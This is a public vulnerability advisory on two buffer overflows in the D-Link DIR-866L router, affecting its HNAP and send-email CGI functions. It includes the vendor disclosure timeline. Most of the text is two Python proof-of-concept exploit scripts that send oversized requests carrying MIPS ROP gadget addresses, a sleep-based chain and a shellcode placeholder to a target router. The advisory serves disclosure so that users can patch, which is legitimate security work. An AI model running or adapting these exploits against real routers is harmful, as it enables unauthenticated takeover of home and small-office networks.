## Advisory Information Title: DIR-866L Buffer overflows in HNAP and send email functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR866L -- AC1750 Wi-Fi Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 2 security issue in DIR866L firmware which allows an attacker on wireless LAN to exploit buffer overflow vulnerabilities in hnap and send email functionalities. An attacker needs to be on wireless LAN or management interface needs to be exposed on Internet to exploit HNAP vulnerability but it requires no authentication. The send email buffer overflow does require the attacker to be on wireless LAN or requires to trick administrator to exploit using XSRF. ## Details HNAP buffer overflow ---------------------------------------------------------------------------------------------------------------------- import socket import struct import string import sys BUFFER_SIZE = 2048 # Observe this in a emulator/debugger or real device/debugger buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE" buf+="FFFF" buf+=struct.pack(">I",0x2abfc9f4) # s0 ROP 2 which loads S2 with sleep address buf+="\x2A\xBF\xB9\xF4" #s1 useless buf+=struct.pack(">I",0x2ac14c30) # s2 Sleep address buf+="DDDD" #s3 buf+=struct.pack(">I",0x2ac0fb50) # s4 ROP 4 finally loads the stack pointer into PC buf+=struct.pack(">I",0x2ac0cacc) # retn Loads s0 with ROP2 and ao with 2 for sleep buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGG" #This is the padding as SP is added with 32 bytes in ROP 1 buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # This is the padding as SP is added with 36 bytes in ROP 2 buf+=struct.pack(">I",0x2abcebd0) # This is the ROP 3 which loads S4 with address of ROP 4 and then loads S2 with stack pointer address buf+="GGGGGGGGGGGGGGGG" buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n" # Bad chars \x00 - \x20 # sleep address 2ac14c30 print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) s.send(buf) data = s.recv(BUFFER_SIZE) s.close() print "received data:", data ---------------------------------------------------------------------------------------------------------------------- # Send email buffer overflow ---------------------------------------------------------------------------------------------------------------------- import socket import struct import string import sys BUFFER_SIZE = 2048 # Observe this in a emulator/debugger or real device/debugger buf = "GET /send_log_email.cgi?test=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" buf+="1111" #s0 Loaded argument in S0 which is loaded in a0 buf+=struct.pack(">I",0x2ac14c30) #s4 Sleep address 0x2ac14c30 buf+="XXXX" buf+="FFFF" # s3 buf+="XXXX" buf+="BBBB" # s5 buf+="CCCC" # s6 buf+="DDDD" # s7 buf+="DDDD" # extra pad buf+=struct.pack(">I",0x2ABE94B8) # Retn address 2ABE94B8 ROP1 buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" # buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" # buf+="XXXX" # buf+="BBBBBBBBBBBBBBBB" #16 bytes before shellcode buf+="CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) s.send(buf) data = s.recv(BUFFER_SIZE) s.close() print "received data:", data ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com).